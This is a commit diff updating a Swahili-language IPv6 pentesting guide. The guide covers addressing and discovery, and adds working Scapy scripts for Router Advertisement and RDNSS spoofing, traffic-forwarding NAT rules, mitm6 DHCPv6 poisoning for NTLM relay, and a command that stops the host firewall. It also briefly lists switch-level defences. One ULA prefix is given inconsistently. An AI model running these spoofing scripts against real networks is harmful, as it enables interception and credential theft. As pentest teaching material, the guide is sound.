Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-24 16:12:25 +00:00
parent 3fa9e9fa14
commit f57a8ec417

View File

@ -1,16 +1,18 @@
# Pentesting IPv6
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Nadharia ya Msingi ya IPv6 ## IPv6 Msingi wa Nadharia
## Mitandao ### Mitandao
Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika: Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika:
1. **Kipengele cha Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao. 1. **Prefix ya Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao.
2. **Kitambulisho cha Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao. 2. **ID ya Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao.
3. **Kitambulisho cha Interface**: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet. 3. **Kitambulisho cha Interface**: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet.
Ingawa IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili: Wakati IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili:
- **Ujumbe wa Kutafuta Majirani (NS)**: Ujumbe wa multicast kwa ajili ya kutatua anwani. - **Ujumbe wa Kutafuta Majirani (NS)**: Ujumbe wa multicast kwa ajili ya kutatua anwani.
- **Tangazo la Majirani (NA)**: Majibu ya unicast kwa NS au matangazo ya ghafla. - **Tangazo la Majirani (NA)**: Majibu ya unicast kwa NS au matangazo ya ghafla.
@ -25,7 +27,7 @@ IPv6 pia inajumuisha aina maalum za anwani:
Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali: Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
- **Ping Anwani za Link-Local**: Angalia uwepo wa vifaa vya ndani kwa kutumia `ping6`. - **Ping Anwani za Link-Local**: Angalia uwepo wa vifaa vya ndani kwa kutumia `ping6`.
- **Ugunduzi wa Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo. - **Gundua Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo.
- **alive6**: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa. - **alive6**: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa.
Hapa chini kuna mifano ya amri: Hapa chini kuna mifano ya amri:
@ -38,7 +40,7 @@ alive6 eth0
``` ```
IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao. IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao.
## **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC** ### **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC**
Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo: Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:
@ -46,28 +48,28 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
2. Ongeza `fe80::` na weka `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`** 2. Ongeza `fe80::` na weka `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`**
3. Geuza bit ya saba kutoka kushoto, ukibadilisha `1234` kuwa `1034`: **`fe80::1034:56ff:fe78:9abc`** 3. Geuza bit ya saba kutoka kushoto, ukibadilisha `1234` kuwa `1034`: **`fe80::1034:56ff:fe78:9abc`**
## **Aina za Anwani za IPv6** ### **Aina za Anwani za IPv6**
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si ya kuelekezwa kwenye mtandao wa umma. Kichwa: **`FEC00::/7`** - **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
- **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`** - **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface ya karibu kulingana na itifaki ya kuelekeza. Sehemu ya **`2000::/3`** anuwai ya unicast ya kimataifa. - **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa.
## **Kichwa cha Anwani** ### **Kichwa cha Anwani**
- **fe80::/10**: Link-Local anwani (sawa na 169.254.x.x) - **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
- **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x) - **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Global Unicast - **2000::/3**: Global Unicast
- **ff02::1**: Multicast Wote Nodes - **ff02::1**: Multicast All Nodes
- **ff02::2**: Multicast Router Nodes - **ff02::2**: Multicast Router Nodes
## **Kugundua Anwani za IPv6 ndani ya Mtandao** ### **Kugundua Anwani za IPv6 ndani ya Mtandao**
### Njia 1: Kutumia Anwani za Link-local #### Njia 1: Kutumia Anwani za Link-local
1. Pata anwani ya MAC ya kifaa ndani ya mtandao. 1. Pata anwani ya MAC ya kifaa ndani ya mtandao.
2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC. 2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC.
### Njia 2: Kutumia Multicast #### Njia 2: Kutumia Multicast
1. Tuma ping kwa anwani ya multicast `ff02::1` ili kugundua anwani za IPv6 kwenye mtandao wa ndani. 1. Tuma ping kwa anwani ya multicast `ff02::1` ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
```bash ```bash
@ -75,37 +77,203 @@ service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table ip -6 neigh # Display the neighbor table
``` ```
## IPv6 Man-in-the-Middle (MitM) Attacks ### IPv6 Man-in-the-Middle (MitM) Attacks
Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile: Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile:
- Kupotosha matangazo ya jirani au router ya ICMPv6. - Kupotosha matangazo ya jirani au router ya ICMPv6.
- Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing. - Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing.
- Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa). - Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa).
- Kuanzisha seva ya rogue DHCPv6. - Kuweka seva ya rogue DHCPv6.
# Identifying IPv6 Addresses in the eild ## Identifying IPv6 Addresses in the eild
## Exploring Subdomains ### Exploring Subdomains
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` inaweza kuwa na ufanisi. Maalum, amri ifuatayo ya utafutaji inaweza kutumika katika Google: Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google:
```bash ```bash
site:ipv6./ site:ipv6./
``` ```
## Kutumia Maswali ya DNS ### Kutumia Maswali ya DNS
Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa: Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa:
- **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai ya rekodi za DNS. - **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai kubwa ya rekodi za DNS.
- **AAAA**: Inatafuta moja kwa moja anwani za IPv6. - **AAAA**: Inatafuta moja kwa moja anwani za IPv6.
- **ANY**: Swali pana linalorejesha rekodi zote za DNS zinazopatikana. - **ANY**: Swali pana linalorejesha rekodi zote za DNS zinazopatikana.
## Kuchunguza kwa Ping6 ### Kuchunguza kwa Ping6
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu. Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu.
## Marejeleo ## Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6
Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa **ndani ya segment moja /64** bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni **link-local** na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.
### Kurekebisha Mfumo kwa Maabara Imara
Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
```bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Passive NDP & DHCPv6 Sniffing
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
```python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi.
### Ulaghai wa Matangazo ya Router (RA)
Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Ili kweli **kupeleka trafiki** baada ya kushinda mbio:
```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
### RDNSS (DNS) Spoofing kupitia RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja:
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea.
### DHCPv6 DNS Spoofing (mitm6)
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
* Mashambulizi ya NTLM relay (WPAD + DNS hijacking)
* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
Matumizi ya kawaida:
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
### Ulinzi
* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa.
* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**.
* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana pendelea kuchuja L2 badala yake.
## Marejeo
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)